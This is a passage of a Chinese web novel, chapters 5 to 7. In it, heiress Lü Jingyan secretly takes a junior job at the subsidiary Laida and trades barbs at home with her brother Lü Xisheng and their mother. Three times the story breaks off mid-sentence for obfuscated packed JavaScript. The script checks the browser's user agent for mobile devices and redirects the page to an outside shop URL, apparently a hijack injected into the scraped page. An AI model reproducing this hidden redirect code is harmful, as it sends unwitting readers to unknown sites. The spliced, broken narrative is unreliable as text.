少见地黑甜一觉,被手机铃声吵醒时天光大亮,估计快是中午。屏幕上是个不认识的号码,还是座机号,她有点疑惑地接起来,睡意朦胧地开口,“你好,请问哪位?” 居然是莱达的人事,问她方不方便下午一点过来面试。 他们效率居然这么高!吕静言有些讶异,拿下手机看了眼时间,差不多十点半,来得及。她清清嗓子祛除睡意,清醒干脆地答应:“方便的,一点见。” 本来觉得还早,哪知挂断电话打开地图查了下距离,竟然开车两个小时才能到。她立即从床上跳起来洗脸换衣化妆,到客厅时有几个生脸好奇地看她,大约是白天来上班的阿姨之类。她没空打招呼认识,匆匆颔首致意,奔到车库,开了车就冲出去。 到地方时刚好将近一点。莱达不大——起码对她来说不大,只占了一幢办公大厦中的五层,面试倒还挺严,一个初级专员的小职位,要面四轮,好在不用回家来回等,一个下午全部结束。 其他都很顺利,也不曾有人注意她拼音的中文名。只是最后一轮时,有个主管还是什么,看了她的简历,忽然道:“你这样优秀的人才,能否问一下,是出于什么原因选择我们公司呢。” 其他面试官也纷纷看向她,显然都想知道答案。她略做思考,做出羞涩一笑,“诚恳”道:“实不相瞒,我原本想去总集团瀚威,但他们短时间内没有招聘需求,就没去成。贵公司隶属瀚威,我要是在这边干得好,升到管理岗,也许就能去了。” 那主管不知信了没有,哈哈一笑,说:“曲线救国是吧,行,知道了。” 或许她实在物美价廉(毕竟初级专员的薪资也没多高),面试结束不久,她刚在一家米线店坐下来准备点餐,就接到他们的电话,通知她面试过了,问她最早什么时候可以入职。 她眼睛扫着店家墙面上的那些食物图片,说:“明天。” 那边立刻称好,告诉她录用通知稍后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288486|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会发送到她的邮箱里,又嘱咐她几点需要准备的事项,愉快地挂了电话。 她把手机放到桌上,向店员招手致意,“一份三鲜米线,谢谢。” 到家又过了八点,算来单程两个小时的通勤时间,她日后必然是早出晚归,碰上加班的话,那就是披星戴月。 什么畭山别墅,分明是鸟不拉屎的破地方。 但是搬走的话,就好像她输了一样。 坚决不能搬。 明天还得早起,她早早睡下。 第二日她准时到达公司办理入职。人事要她填档案表,她提起笔来真真假假地填完,对方又朝她要身份证与毕业证书复印存档。毕业证英文的倒罢了,身份证却危险,她硬着头皮交出去,忐忑地等着或许会到来的发问。但对方只是如常接过,拿到外面复印好,又一切如常地拿回来交还给她。 一个字都没多问。 看来真是天高皇帝远,这儿没人会对她的名字产生联想。 棒极了。 手续办理妥当,人事引她去所在部门,把她交给直属领导。开放式的大办公室,她一踏进去,窸窸窣窣的声音立刻从四面八方传过来,许多视线明里暗里落在她身上。 她的直属领导迎过来,中年女人,眼熟,应该是昨天面试官中的一位。她向大家介绍过她,又把她领到工位,交给旁边一位老员工,要对方带她。 说是老员工,其实也不老,二十几岁的女孩子,比她大不了多少。她自我介绍叫曼迪,又很自来熟地朝她挤挤眼睛,说:“昨天就听说招进来个美女,还真没骗人,确实大美女。” 吕静言礼貌微笑。 “他们说你还是藤校的?” “是。” 曼迪压低声音,“你怎么会来我们公司?” 吕静言不得不再次“如实相告”:“我想去总部瀚威,没去成,先来待段时间攒经验。” 曼迪“哦——”了一声,说:“你以后肯定能去成。” 吕静言真心实意地笑了:“谢谢。” 工作内容对她来说不难,旁观一天就能开始上手试着处理。同事们对她也还算友善,唯一烦人的只有通勤。 尤其不幸的是,上班第三天早晨,她把车停到地下停车场,从上面下来的时候,正碰到对面工位的佐伊从旁边路过。佐伊停下脚步看了看那闪亮的车标,问她:“乔,说实话,你是不是过来体验生活的富二代?” 吕静言心头警铃大作,立刻矢口否认:“不是。朋友的车,借我开两天。” 佐伊意味深长地笑了:“朋友?男朋友吧。” 她再次否认:“不不,没有,不是。” 佐伊揶揄道:“哎呀,有什么不好意思的,以你的条件,找个有钱男友,也是情理之中嘛。” “真不是。”吕静言不爱听这个,肃了面孔道:“我这就还回去了。” 佐伊挑挑眉毛,没再多说。 然而撒了谎就要圆,而且为了防止别的同事再看见这辆车,再上班时,她不得不把它停到附近大厦的地下停车场,然后再走过来。要自负停车费不说,单程通勤时长又多了十分钟。 可恶,等她有钱了,一定要换辆破车! 5. 底层员工(2) ~*~ 一般来说,周末两天,吕希声会回到畭山别墅,陪母亲度过。 他通常周五下午会提前下班,好赶得及到那边吃晚餐。 本周五亦不例外。 自瀚威一路开过去,将车在库中停好,他从驾驶位下来,环视四周,发现那辆白色座驾不在。 拿出手机点开智驾软件,看到它还停在某个位置。不知是否定位不够准确,这两天与前几天停的地方产生了些许偏移。 他按灭手机,走向门厅。 琴姐照例迎上来,吕希声脱外套换鞋进屋,不经意似的问:“我妹妹不在?” 琴姐说:“是,静言小姐出去了。” 吕希声说:“她去做什么了。” 琴姐有些为难地摇头,“这个倒不清楚,静言小姐早出晚归,这几天都没怎么见到。” 吕希声点点头,没有再问,径直去往餐厅寻找母亲。 吕家人的习惯,吃饭不怎么说话,只饭后会坐在那里聊一聊。用餐完毕,他与母亲谈论了一会儿瀚威的近况,话题又漫无目的地发散到相熟的几家亲朋那里。他们聊来谈去,彼此言语间都没提及吕静言,仿佛这个人并不存在。 宋斓说起魏家女儿最近在筹备婚礼,可能很快会发来请柬。话至此处,她又顺势提起他的婚姻大事,“小闻,”她唤他的乳名,“你年纪也差不多,是时候开始考虑这些事情。结婚可能不急,但合适的人总该物色起来。” 吕希声眉眼低垂,应道:“是,妈,我知道。” 宋斓慈爱地注视他,拍拍他的手,温言道:“你从小样样都好,最是省心,妈相信你一定会找个令人满意的妻子。” 吕希声还是那副乖顺模样,浅浅笑道:“嗯。” 宋斓年纪上来之后有眩晕的毛病,平时在人前强打着精神,但撑不了很久,总是要卧床躺着。他们聊了已有一个来小时,她揉揉太阳穴站起来,结束谈话,上楼歇息。 吕希声扶她上电梯回房,又去自己房间换了家居服,下楼坐在客厅沙发里继续读上次那本书。 到了八点四十多分,门厅传来动静,他听到吕静言和迎过去的琴姐打了声招呼,换鞋走进来。 她应该是看见了车库里的车,对于他的存在并不惊讶,皮笑肉不笑道:“呦,大孝子来做客了?” 吕希声这才从书中抬起头来,对方一身衬衫西裤,职业牛马模样,他托腮看她,“你很忙嘛。听说你这几天都不见人影?” 吕静言斜睨他一眼,“我要工作的,哥哥,我又不是闲人。” 工作?他想到她车停的那个位置,果然没错,她去了莱达。他知道她绝不可能善罢甘休,但她去那里想做什么? 吕静言走到客厅那部电梯前,按键叫梯。吕希声站起来跟过去,与她一同进到里面,看她按到三层,笑道:“住客房啊?” 吕静言撩起眼皮打量他,也笑,“可不吗,这儿把主人当客,你说多有趣。——怎么,大孝子今天也住这儿?” 吕希声居高临下地看她,笑意加深,“是啊。”他说着,按下四层的按钮。 电梯门开,三楼已到,吕静言却不下去,吕希声“好意”提醒:“你到了。” 吕静言摇摇手指,“不急,先去你那儿看看。” 门扉关合,继续升往四楼。 她这些天一则是忙,二则是没有兴趣,不曾仔细了解这栋房子。但现在看来,其实她应该了解了解。 四楼与三楼截然不同。出了电梯,迎面是极开阔的一个空间,落地窗、壁炉、沙发、茶几、电视,一应俱全,俨然是客厅。往里走,左侧是餐室,右侧是走廊,走廊两边分布有书房、运动房(里面很离谱地包含有一间室□□箭场)和储物间,尽头则是宽敞到夸张的卧室,卧室中又连有衣帽间与阳光露台,再往里走是卫生间、浴室、汗蒸间。整个看下来,像是一间过于巨大的独立公寓。 吕静言旁若无人地四处逛完,对着靠在走廊入口等她的吕希声扬起笑脸,赞道:“不错嘛。” 她心满意足似的,施施然乘坐电梯回到三楼。 不一刻,她身穿卫衣运动裤的家居服,带着行李又出现在这里。 吕希声刚打算洗澡,听到动静,套上衣服从里面出来,问:“你做什么?” 吕静言推着行李箱走入卧室,往他的大床上一躺,理直气壮道:“这房间我喜欢,归我了。你,出去。” 吕希声站在门口,难以置信地看向床上的她,气得想笑,“你说归你就归你?凭什么。” 他的好妹妹连枕头和被子都不带,全要霸占他的,此刻掀开被盖在身上,闭起眼睛,说:“我不认为长期住外面的人比我更有资格拥有这样一间卧室,你是客,当然睡客房——出去帮我闭下灯,再把门带上,谢谢。” 吕希声走到床边,咬牙道:“你下不下来?” 吕静言双眸紧闭,充耳不闻,好像睡死过去了。 吕希声静静凝视她,她细长一条,即使躺在正中央,大床两侧还是有许多空余,吕希声点点头,“好,你睡,反正地方这么大,我不介意。” 他从另一侧上床,扯过被子盖在自己身上。 吕静言伸手拽住。 吕希声用力拉扯。 吕静言逐渐不敌,低头去咬他的手。吕希声眼疾手快,一边抵住她的头,一边用另只手抢夺被子,吕静言激烈反抗,对他拳打脚踢,吕希声压下她的四肢,牢牢钳制住她。 他们的身体在被子下整个扭缠在一起,女孩儿柔软芬芳的躯体完全嵌入他怀中,两条腿别在他腿间,肌肤的热意和起伏的胸膛在他身上氤氲蹭动,她仰着飞满薄红的脸望向他,眼睛因恼恨和不甘亮得惊人,呼吸却湿润甜蜜,毫无戒备地扑在他下颌与颈间。 他喉咙不受控制地滚动一下,瞬间失掉几分力道。 对方敏锐地感知到这个空隙,不知死活地再次挣动。 他几乎失去理智,厉声吼她:“别动!” 声音都快变调,他可恶的妹妹吓了一跳,罕见地听从于他,乖乖停下。 他竭力平复下来,慢慢松开她,拉开两人的距离。 吕静言这才意识到他们刚刚处于怎样一个不该有的姿势。 一种不知名的尴尬升腾弥漫。这种程度的接触在成年男女之间,或者成年“兄妹”之间,太过太过了。他们上一次这样滚在一起闹还是青春期之前。 他们早就不再是旧时光中的小孩子。 他们都长大了。都已经,不一样了。 两个人好一会儿没说话。过了有两三分钟,吕希声下了床,站到地面上,声音恢复如常:“不就是间卧室吗,你实在想要,行,我做哥哥的,就施舍给你。” 吕静言坐在床上抬头看他,“哥哥?你如今怎么还好意思说这种话?这么想做我哥哥的话,别用一间卧室打发我啊,你多给些,没准儿我还愿意承认。” 吕希声问:“你要多少。” 吕静言说:“你有的,我全都要。” 吕希声不赞成地挑起眉头,“太贪心可不是好习惯。” 吕静言躺回去,把被子重新裹在自己身上,“这就贪心了?小气成这样,怎么好意思当人家哥哥。”她闭起眼,像赶走一只苍蝇一样对他挥挥手,“出去吧,别忘了闭灯关门。” 吕希声没动,站在原地又看了她一会儿,轻声嗤笑,而后离开房间。 ——没有闭灯,也没有关门。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288487|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 吕静言等待片刻,确认他已走远,缓缓睁开眼睛,下床洗漱换衣,关门闭灯,回到被窝。 黑暗中,被子上他的味道不由分说充斥鼻腔。可能是刚才在他身上缠裹过的原因,那本来很清浅的香气闻起来如此明显。 躺在这儿,好像依然被扣在那个怀抱里。 她想到刚才的情形,又联想起那个梦,赶紧摇了摇头,暗骂两句晦气,拉高被单,把自己蒙在里面。 ...... 他的味道更浓郁了。 不过还好不难闻,就先这样吧。 也不知道到下次阿姨们换洗床上用品之前她会不会被腌入味儿。 ~*~ 她生物钟向来准时,上过一周的班,到了起床那个时间,自然而然就醒过来。 她以为她是这个家起得最早的人,穿衣洗漱推开房门,却见吕希声站在门口,不知道已经多久。她惊得后退一步,责问他:“干什么!” 吕希声不答,侧身从她边上挤进去,到衣帽间挑选出几套衣物。 哦,看来是昨晚被赶走得太匆忙,连这两天要穿的衣服都没来得及带出去。 她抱胸站在旁边,做出胜利者姿态:“昨晚在哪个桥洞睡的啊?” 吕希声停住动作看她,“在你睡过的桥洞睡的。” “嗯,很会挑。”吕静言赞许地点点头,“我的桥洞很舒服呢。现在是你的了。” “是啊。”吕希声同意。“——哦,对了,”他做出突然想到什么的样子,对她道:“你有东西落下了。” 吕静言问:“什么?” 吕希声耐人寻味地笑,“你去了就知道了。” 故弄玄虚。 吕静言横他一眼,下到三楼去查看,吕希声跟在她身后。 她进入那间客房,吕希声指引道:“卫生间。” 她一下子想起来,疾步冲过去拉开门,霎时红了脸色。 她的内裤! 前天晚上她换下来顺手洗了晾在卫生间,昨天收东西时居然忘了带走。 她脸红到耳根,嘴上却轻巧道:“我还以为是什么,你可以直接帮我扔掉的。” 她边说,边进去快速从衣架上摘下它来,塞进家居服口袋。 吕希声好似觉得她的表现很有趣,挨近了仔细端详,在对方有所动作前又迅速拉开距离。 有意思极了。能看见她这样,付出一间卧室算什么。物超所值。 吕静言抬腿欲走,吕希声叫住她,递上一个纸袋,“那么我卫生间的东西,就麻烦你,我亲爱的妹妹,帮忙收拾一下。——免得我进去再看见什么不方便的东西。” 该死,确实有,她昨天又洗了一条内裤。这破玩意她就该像以前那样穿过就扔,每天洗它干什么! 她没接那纸袋,对着台面上一套崭新的洗漱用品扬扬下巴,“你这不是有用的吗。” 吕希声伸出手指摇一摇,“我要我原来的。你不肯帮忙的话,我只好自己去了。” 吕静言夺过那纸袋,头也不回地出了客房门。 吕希声的声音从里面传出来:“看来还真的不方便?” 该死该死该死!可恶可恶可恶! 吕静言一路冲回四楼卫生间,把他那些洗发水沐浴露剃须刀须后水之类的破烂一股脑扫进纸袋里,想了想又扔下袋子开始四处翻找。 她就不信搜不到什么叫他难堪的东西! 可惜搜遍整个四楼,除了衣帽间小抽屉里一沓未开封的新内裤之外,什么都没有。 呵,想想也是,在父母家里,他能放什么?要是他自己的房子,啧,指不定有多过分。 她聊胜于无地把那沓新内裤也塞进纸袋。 6. 底层员工(3) 吕静言手指勾着那纸袋,下到三楼,往吕希声面前伸过去。吕希声接过来看了一看,发现那叠内裤,反倒愉快地笑:“虽然我这里不缺,但你真贴心,谢谢。” 连“聊胜于无”的攻击效果也未起到。 吕静言忍下一口气,温柔笑道:“不客气。” ——妈的,彻底输了。她也是蠢,洗过的内裤而已,有什么好在乎?像吕希声一样厚脸皮不行么? 就该直接把那玩意拍他脸上! 她暗自磨了磨后槽牙,转身离去。 吕希声跟过来,与她一同等待电梯。 吕静言没理,打算下去餐厅看看有没有厨师做早饭。 她去一楼,他也去一楼,她往餐厅走,他也往餐厅走。她停住脚步,问:“你跟着我?” 吕希声很惊奇似的盯住她,“跟着你?我是去吃早饭的。现在七点半,早餐时间,你不会不知道吧。” 她这些日子早出晚归,除了回来那天的晚饭,一顿都没在家吃过,什么早中晚餐时间,听都没听说。 她扬起笑容,道:“不知道。我吃饭,想什么时候吃,就什么时候吃。” 她领先吕希声半步进入餐厅,宋斓已经坐在那里等候。想想这几天同在一个屋檐下,她还真一次都没和她碰过面。 一位她不认识的年轻阿姨正把吃食一道道从厨房端到餐厅来,吕静言坐进自己之前坐过的那个位置,向桌上瞥一眼,笑道:“呦,今天不是西餐啊。” 宋斓正和吕希声互道早安,没人理她。 她也不在意,在餐品中梭巡一圈,没有合胃口的,对着一旁端上小笼包的那阿姨道:“麻烦你——哦,怎么称呼?” 年轻阿姨低眉顺眼道:“叫我阿梅就好。” 吕静言继续道:“好,阿梅,麻烦和厨房说一声,煮碗面来。” 阿梅没有立时应下,谨慎地瞄向宋斓和吕希声。宋斓不表态,吕希声亦然。她正为难,吕静言“扑哧”一笑,乐不可支地侧着身子向她道:“拜托,阿梅,一碗面而已,要不我自己去厨房说?” 阿梅连忙摆手,安静而迅速地闪入厨房。 吕静言正过身子,冲那母子二人感叹道:“多老实的人呐。您二位平时都是怎么对待人家的?看把她吓的。我真该为她主持公道。” 宋斓挟了只虾饺放入面前小碟,却不吃,只警告她:“吕静言,你在这儿住,在这儿吃,我睁一只眼闭一只眼,但你也不要太过分。” “哦?”吕静言粲然笑道:“我要是太过分,怎么样,把我赶出去?” 她有恃无恐地,“我在国外过得惨不要紧,但是在这儿,您是不是考虑考虑?毕竟有那么多眼睛看着,我如果凄惨不堪,流落街头,丢了自己的面子不要紧,您和吕家的脸往哪里搁呢。” 宋斓面色微变,没有再言。 吕希声举杯喝了口水,悠然道:“是么,你不在乎丢面子?我看你没有到处宣扬自己吃了多大亏,受了多大委屈,还以为你很在乎来着。” 吕静言把目光转向他,“如果我去宣扬,怎么,你们就把我该得的还给我?” 吕希声展露出一个“你做什么梦”的笑容。 “这不就得了,没有好处的事,我不干。”吕静言说。 她双手拄腮,视线往返于母亲与哥哥之间,又道:“所以,我看我们最好还是维持这个平衡。为了脸面,你们多忍耐些,好让我老老实实苟在这儿,直到六十岁拿信托。” 吕希声毫不掩饰地冷笑一声。 老老实实苟到拿信托?鬼都不会信她。 吕静言没理这一声,转而向宋斓道:“对了,妈,吕希声的卧室我喜欢,昨晚跟他换了一下。在这儿和您打个招呼。” 宋斓蹙起眉头,看向吕希声。 吕希声表示并不介意地微微摇了摇头。宋斓深深看他一眼,终究什么都没说。 阿梅端着煮好的面从厨房出来,小心翼翼搁到吕静言面前,吕静言向她道过谢,举筷挑起一缕,吹了吹上面的热气,送入口中。 唔,味道普通。和以前的师傅比,差不少。 ~*~ 吃过饭,曼迪发信息过来约她出去逛街。正好从国外带回来的几件衣服上班不够穿,她也不想在家待着,便一口应下,开车到地铁口停好(怕被曼迪看见车子),又坐地铁过去与对方汇合。 在商场里逛了半日,零零碎碎买了不少,她们累得在奶茶店歇脚。曼迪吸着果茶玩手机,忽然来了一句:“我妈不是去农家乐了吗,怎么又跑文化公园去了。” 吕静言咽下一口杨枝甘露,随口说:“你怎么知道。” 曼迪在她面前摇了摇手机,“她今天开我车出去的,软件刚给我发通知来着。” 吕静言定睛去看,屏幕上智驾软件的界面清清楚楚,显示着车子今天——不,是这一段时间以来的——行动轨迹。 她悚然一惊,这些年她在国外开的是辆老旧二手车,甚至还是手动挡,全然不知现在的新车已经进化到了这种程度。 吕希声这王八蛋,她就知道他不会安什么好心。 吕静言狠狠吸了口冷饮,冰凉甜蜜的液体顺着食道蔓延到五脏六腑,将她的恼意降下去些许。她想了想,又觉得这未尝不是一件好事,他吕希声要是愿意监视,愿意看,那就叫他看,她早晚叫他在这上面栽跟头。 见她好一会儿没说话,曼迪探过脑袋来看她,“怎么了?” 吕静言摇头,“没怎么。”她笑了笑,又感慨一句:“现在科技还真是发达啊。” 歇过脚又继续逛,然后吃晚饭,然后再逛,直到八九点曼迪才放她离开。 折腾到家已经快要半夜,吕静言泊好车,把几袋新衣从后座拿出来,看看纸袋上印着的商标(都是快消品牌),犹豫一下,把它们又放了回去。 绝不能给吕希声嘲笑她的机会。 进门却漆黑一片,不但没见着吕希声,连琴姐都慢半拍才开灯上来迎接,想来是时间太晚,这个家的人都已入眠。 她歉然地叫睡眼惺忪的琴姐赶紧回去休息,快步走向电梯。 进了电梯她顺手按到三楼,下来发现旧房间里有灯光透出,这才想起换卧室的事儿。正想赶紧走掉,那扇门却忽然开了,吕希声站在门口,表情因背光晦暗不清,“现在才回来?”他道,是责问的语气。 “和你有关系么。”吕静言道。 吕希声静默地看她,她已做好准备反击他的下一句话,可下一秒,他却把门关上了。 神经。 这么晚还不睡,离猝死更进一步。 她暗骂两句,回到电梯,去往四楼。 前一夜睡得晚,翌日起床便比平常迟了些,但还没过早餐时间。她收拾整齐,下楼到餐厅,不料里面空无一人。 阿梅跟在她身后进来,轻声询问她是否要吃东西,她点头应是,又问怎么不见宋斓和吕希声,阿梅迟疑片刻,回答:“小吕先生陪太太去医院了。” “医院?”吕静言眉头微挑,“有什么毛病叫医生过来看不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288488|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了。” 阿梅“唔”了一声,说:“太太一直眩晕,血压也高,白医生也没什么好办法治疗,只能建议她定期去医院检查。” 眩晕,高血压。几年不见,毛病见多啊。是老了呢,还是做了亏心事,心虚太久,落下症状了? 她轻轻冷笑,坐到餐桌主位。阿梅问她想吃些什么,她想想昨天那碗面,不大合心意,便道:“煮点小馄饨吧。” 阿梅答应着进到厨房传话。 没有碍眼的人在,早餐吃得熨帖。一碗小馄饨下肚,她心满意足,站起来准备好好逛逛这个“家”。 一楼,门厅、客厅、琴姐房间、工作人员休息间、监控室、配电室、洗手间、餐厅、厨房。厨房另延伸出储藏间和冷库,厨具与食材大部分收纳在这两处——怪不得她那天在厨房什么都没找到。 二楼,小厨房、中式圆桌餐厅、客人休息间、卫生间、茶室、吸烟间、棋牌室、收藏陈列室、娱乐厅。 三楼,客房。 四楼,原吕希声,现她自己的卧室。 五楼,从电梯下来,面前是被锁住的一扇对开木门,推测里面为主人房,即如今宋斓的房间。 六楼,画室、琴房、影音室、健身房、藏书室等一些功能性房间。 七楼,顶层,室内泳池及配套淋浴间。 再下到负一楼,杂物间、洗衣房和烘干间。 负二楼,这层贮藏酒与茶叶。 院子里,前院,门廊、车库、灌木草坪、没有狗的狗屋、喷泉、林荫车道、安保人员住处、警卫室、大门。 后院,阳光房、花园、池塘、网球场、一栋像是仓库的上锁的屋子,后门。 院墙外溪流草木,树林成片,离得最近的邻居也在几公里之外,这儿好似遗世独立。 四处转了一上午,白天来上班的那些人她也算见了个遍,男男女女加起来拢共十几二十个,加上安保,三十几个。礼貌起见,她努力记住,一一对牢名字和人脸。 到午饭时间,那两个人还没回来,厨房便不肯大费周章做复杂菜式,只简单弄了一点给她吃。她既然不是发工资的人,也不好诸多挑剔,有什么吃什么。幸而做菜的师傅手艺还可以,白切鸡很是鲜美,炒菜心也足够脆嫩,她饱餐一顿。 下午没事做,她到藏书室去想挑两本书来看,没选到喜欢的,遂回到自己房间,翻出电子阅读器,继续读之前在飞机上没读完的一本儿童小说。 她读得入迷,直到整本看完才发现外面天色已暗,该是吃晚饭的时候。她不太饿,但怕半夜饿了没的吃——这破地方点外卖都没骑手愿意接单,所以还是起身下楼,去餐厅看看。 那对母子不知道什么时候回了家,在餐厅等待开餐,她坐在桌边,朝他们笑道:“呀,回来啦。” 宋斓撩起眼皮瞥她一眼,没接话。吕希声若有所思地看看她,好像想说什么,但没说。 她盈盈而笑,欲要对宋斓的眩晕和高血压发挥几句,转眼看见捧着托盘进来的阿梅,担心她会因为向她多嘴了这件事而被宋斓揪出来责难,于是闭嘴作罢。 阿梅将托盘上的三只炖盅放到每个人面前,吕静言揭开看,是松茸排骨汤,香气扑鼻,她拾起汤匙喝完它,不再多留,下桌走掉。 她以为会被叫住,但宋斓并没有像儿时一样阻止并训斥她提前离桌的无礼行为。 回房洗澡上床玩手机,约莫八点来钟,她从窗户里望见那辆黑车驶出院门,吕希声离开畭山别墅。 这个周末结束了。 7. 底层员工(4) ~*~ 再上班时行政回收了她的临时工牌,将印有她名字的新工牌交给她,她这才发现这上面除了英文名外还在下面用中文标出了本名,只不过字体比较小。她默默塞进兜里,不想戴。 她所在的业务部算是核心部门,有几位高管的独立办公室与她们同在一层。临近茶水间的一间办公室,她之前几天从未见到有人,以为是闲置着的,有次去接水,却听见里面有说话声传出,是个男人,中英夹杂地激情输出着什么。她本来没兴趣,忽而捕捉到“吕希声”这三个字,不由自主地竖起耳朵,仔细听下去。 他不知在和谁讲话,毫不掩饰地表达着对吕希声的鄙夷: “他吕希声算老几啊,比我还小两岁,毛长齐了吗就来管我们!” “连个留学背景都没有,开过眼界吗?他懂什么是先进的企业管理制度吗?” “吕希声就是个屁!你看我理他么?” 吕静言觉得挺有意思,听了一会儿,端着水回到工位,问旁边的曼迪:“茶水间旁边那个办公室,原来里面有人的啊?” 曼迪往茶水间的方向看了看,道:“哦,有的呀,是韩总,不过他平时不怎么来上班。” “他为什么不来上班。” 曼迪看看四周,改成发信息和她交流:忙着吃喝玩乐呗。听说他喜欢赌,经常飞去澳门和拉斯维加斯,哪有时间上班。 吕静言满头问号,这样的人,如何能做到高管位置?下一刻又忽然想起什么,打字问曼迪:他父亲是瀚威的吧。我记得有位董事姓韩? 曼迪飞快回她:对对对!是的!所以他才能来我们这儿挂名当总嘛,富二代,人生轻松得很,羡慕死了。 吕静言笑一笑,不做评价,没再聊下去。 这位瞧不上吕希声的韩总,她知道是谁了。韩伯伯和他原配夫人的独子,叫韩什么翊的那个,他很小就被送去国外生活,她没见过他,只是知道有这么个人。 想不到韩伯伯那般人物,儿子居然是这样的。 不怎么上班的韩总这两日却是时刻都在。公司的保洁也被督促着卖力干活,给每层楼都做了个大扫除。有小道消息传出来,说总集团的人可能要下来检查。果然,周四下午,临近下班,行政部给全体员工发邮件,通知说第二天上午集团总部将于莱达召开重要会议,要求所有人着装规范,佩戴工牌,注意工作纪律。 曼迪给吕静言发信息抱怨:“真烦人,开会又不需要我们这些小员工参加,净弄这些没用的,谁看啊。我要请假,等下午瀚威的人走了再来。” 吕静言害怕瀚威来的人里有认识她的,也想请假,但碍于还没有转正,不好开口,如今同组的曼迪要请,那么她就更不好请了。不过想想也没事,反正这会议也不用小员工参加,只要她不离开办公室乱逛,应该就还算安全。 她自我安慰一番,回信息附和曼迪骂了几句,与她一同收拾东西下班。 次日,从上班开始,就不断有管理层的人在各处巡视检查,挑这里不好,那里不对,连一盆绿植都要挪来摆去,花费大半个小时寻找最佳位置。 吕静言的工牌也不得不拿出来挂在脖子上,她胸口贴在桌前遮挡住它,不愿别人看到。 门口响起几声问好,又一位高层进来他们办公室检查。是那位韩总。他板着脸,煞有介事地这儿摸摸,那儿看看,指挥一些员工把桌上的马克杯转到统一角度。走到吕静言这里,他眼睛一亮,指着她问:“你新来的?以前没见过。” 吕静言说:“是,上周刚入职。” 他点点头,吩咐道:“你一会儿跟着去会议室,递个东西,发个资料什么的。” 吕静言惊讶:“我?” 他恩赐一般地:“对。” “我是业务部的,不是行政或后勤部。”吕静言说。 他明显不耐烦起来,“你形象好,给你脸的事,别不识好歹。” 吕静言眼皮一跳,差点忍不住要怼他。她的直属领导过来推推她,示意她赶紧答应,她无奈之下强压怒火,应道:“是,我知道了。” 韩总斜乜她,道:“站起来回话。懂不懂什么叫尊重?” 吕静言抿住唇站起来,扯出笑容,顺从道:“是,韩总,我这就过去。” 韩总稍微满意了些,拽住她的工牌看她叫什么,吕静言心头狂跳,生怕他认出,好在这位假洋鬼子没太注意汉字,只盯着她的英文名,撇撇嘴评价道:“长得挺好看,怎么起这么个名,跟男的一样。” 吕静言没有反驳,依旧假笑。 她被赶到会议室熟悉环境,一眼看到桌上主位摆着的名牌——吕希声,转身就想走,还没到门口,有人进来说瀚威的人到了,拉着她往角落里站好。 韩总等几位莱达高管迎着一行人进入会议室,为首的正是她那位哥哥。据她了解到的情况,如今宋斓做了名义上的董事长,而吕希声因为年轻、资历浅,暂时只是集团副总(总裁则由一位姓祝的女士担任)。但继承人的身份和持有的股份摆在那里,谁又能真的把他当做副总。 众人簇拥着吕希声,把他让到主位上,莱达和瀚威的人分坐在他两侧,吕静言被推去桌边分发会议资料,吕希声显然看见了她,若有似无地笑了一笑,没做声。待她走过来放资料时,他忽然将面前的矿泉水拿到手里,却没喝,只看了看,又放下。 坐他旁边的韩总立刻用眼神暗示吕静言帮忙把那瓶水拧开。 吕静言装作没见,继续走到下一个人身边放资料。 ——叫她个女孩子拧瓶盖?吕希声他没长手是怎么着,一个大男人,好意思么。 韩总剜她一眼,转头满脸堆笑地拿过矿泉水,拧开盖子,递给吕希声。 吕静言简直叹为观止,她见过两副面孔的,但还没见过这么两副面孔的。合着他那天被鬼附身了才痛骂吕希声? 吕希声道了谢,接过水,还是没喝,放回桌上。 韩总赶紧问:“您喝点什么?茶?咖啡?” 吕希声摆摆手,眼神扫过与会众人,“人都到齐了?那就开始吧。” 莱达的一位高管站到主讲位置,开始在大屏上翻动自己的PPT。 看来瀚威是来听子公司汇报工作的,难怪莱达那么紧张。吕静言饶有兴致地站在一边,准备听一听其中有无对她有价值的内容。 刚听了那高管两句废话,韩总就招手叫她过去,咬牙切齿地支使她去多买几样饮品回来。她在心里直翻白眼,买什么?吕希声他不喝茶不喝咖啡,酒也不爱,碳酸饮料就更不用说,他就喝水,水都不喝就渴死他好了。 但是,算了,毕竟她还在隐姓埋名地打工,人在屋檐下,不得不低头。 她到楼下便利店买了一大兜饮料上来,装模作样地一样样呈到吕希声面前询问:“果汁喝吗?”“运动饮料怎么样?”“苏打水呢?” 吕希声嫌她碍事一般,拨开她,目视前方大屏,认真聆听报告。 韩总仍不肯消停,又叫她倒杯热水来。 她忍气吞声地去了,找到一只杯子,倒上滚烫开水,正要放在吕希声手边,他忽而抬眸瞧她,眼中充满戏谑笑意。 这王八蛋就是在故意折腾她!看她丫鬟似的在跟前伺候,心里肯定爽死了吧。 